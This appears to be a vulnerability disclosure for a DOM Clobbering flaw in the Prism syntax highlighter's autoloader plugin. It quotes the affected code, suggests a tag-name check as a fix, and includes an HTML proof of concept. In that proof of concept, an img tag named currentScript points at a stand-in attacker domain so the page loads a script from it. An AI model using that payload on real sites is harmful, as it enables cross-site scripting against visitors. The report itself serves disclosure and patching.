We identified a DOM Clobbering vulnerability within the Prism library's prism-autoloader plugin (version 1.29.0). This vulnerability could lead to cross-site scripting (XSS) attacks in web pages who embed Prism and allow users to inject scriptless HTML elements (e.g., an img tag with a controlled name attribute).
Note that, we have found similar issues in the other popular client-side libraries, including Webpack (CVE-2024-43788), Vite (CVE-2024-45812), and layui (CVE-2024-47075), which might be good references to this kind of vulnerability. So, in terms of the wildly adoption of Prism in the modern website, we think it is necessary to make the Prism resistant against DOM Clobbering attack.
DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:
[1] https://scnps.co/papers/sp23_domclob.pdf [2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/
The prism-autoloader plugin uses document.currentScript as the base url for dynamically loading other dependencies. However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the languages_path. If additional scripts are loaded from the server, languages_path will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.
https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/prism.js#L226-L259
currentScript: function () {
if ('currentScript' in document && 1 < 2 /* hack to trip TS' flow analysis */) {
return /** @type {any} */ (document.currentScript);
}
},
https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/plugins/autoloader/prism-autoloader.js#L297-L316
var script = Prism.util.currentScript();
if (script) {
var autoloaderFile = /\bplugins\/autoloader\/prism-autoloader\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;
var prismFile = /(^|\/)[\w-]+\.(?:min\.)?js(?:\?[^\r\n/]*)?$/i;
var autoloaderPath = script.getAttribute('data-autoloader-path');
if (autoloaderPath != null) {
// data-autoloader-path is set, so just use it
languages_path = autoloaderPath.trim().replace(/\/?$/, '/');
} else {
var src = script.src;
if (autoloaderFile.test(src)) {
// the script is the original autoloader script in the usual Prism project structure
languages_path = src.replace(autoloaderFile, 'components/');
} else if (prismFile.test(src)) {
// the script is part of a bundle like a custom prism.js from the download page
languages_path = src.replace(prismFile, '$1components/');
}
}
}
In the following PoC, you should be able to see that prism-css.min.js will be loading from the attacker.controlled.com domain.
<html>
<body>
<!--Payload-->
<img name=currentScript src="http://attacker.controlled.com/a.js"></img>
<!--Payload-->
<!--Library-->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism.css" integrity="sha512-jtWR3pdYjGwfw9df601YF6uGrKdhXV37c+/6VNzNctmrXoO0nkgHcS03BFxfkWycOa2P2Nw9Y9PCT9vjG9jkVg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/components/prism-core.js" integrity="sha512-jhk8ktzYxeUWJ/vx3Lzp53xE0Jgsp+UxA3wDyRSYeMBdPutgCp6jiGvTjyZm+R7cn3Lu/0MnEIR421EOdl3qAg==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/plugins/autoloader/prism-autoloader.js"></script>
<pre><code class="language-css">p { color: red }</code></pre>
<!--Library-->
</body>
</html>
For patch, I suggest to add addtional type check when using the document.currentScript.
https://github.com/PrismJS/prism/blob/59e5a3471377057de1f401ba38337aca27b80e03/prism.js#L226-L259
currentScript: function () {
if ('currentScript' in document && 1 < 2 && document.currentScript.tagName.toUpperCase() === 'SCRIPT') {
return /** @type {any} */ document.currentScript;
}
},